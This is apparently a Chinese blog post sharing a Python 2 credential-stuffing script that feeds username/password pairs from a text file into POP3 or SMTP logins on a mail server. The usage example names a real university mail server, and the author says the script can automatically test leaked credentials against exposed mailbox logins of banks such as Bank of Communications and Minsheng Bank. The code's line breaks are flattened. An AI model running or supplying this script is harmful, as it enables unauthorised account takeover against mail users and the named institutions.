標籤:
# coding=gb2312# 確保python支援中文注釋# 輸入郵件地址, 口令和POP3伺服器位址:import poplibimport smtplibimport sysdef checksmtppassword(smtp_server,username,password): try: server = smtplib.SMTP(smtp_server, 25) # SMTP協議預設連接埠是25 這裡解析不了網域名稱就會拋出異常登入失敗 #server.set_debuglevel(2) server.login(username, password) except: print ‘登入不成功‘ else: print ‘登入成功‘def checkpop3password(pop3_server,username,password): try: server = poplib.POP3(pop3_server) #server.set_debuglevel(2) server.user(username) server.pass_(password) except Exception,e: print ‘登入不成功‘ else: print ‘登入成功‘ server.quit() def open_check_password_user(file_path,server_ip,user_num,pass_num,mode): mail_server=server_ip f=open(file_path) each_line=f.readline() while each_line: each_line=each_line.strip(‘\n‘)#去除分行符號 list = each_line.split() #list這裡是數組 #print list[0] password=list[ int(pass_num) ] username=list[ int(user_num) ] print list[ int(user_num) ] print list[ int(pass_num) ] if mode==‘pop3‘ : checkpop3password(mail_server,username,password) if mode==‘smtp‘ : checksmtppassword(mail_server,username,password) each_line=f.readline() if __name__ == ‘__main__‘: print ‘mail_check.py nefu.txt pop.nefu.edu.cn user_num pass_num mode‘ print ‘mail_check.py nefu.txt pop.nefu.edu.cn 2 1 pop3/smtp‘ open_check_password_user(sys.argv[1],sys.argv[2],sys.argv[3],sys.argv[4],sys.argv[5])
公司業務的需求,這段時間乾的事情web居多。
以上指令碼,配合一個txt便可以全自動的去對如 交通銀行 民生銀行等暴露外網郵箱登入介面等敏感行業的廠商進行撞庫測試。
花了半天時間寫的。效果還不錯,貼出來共用一下,以後再改進
支援smtp/imap smtp/pop3的撞庫python撞庫指令碼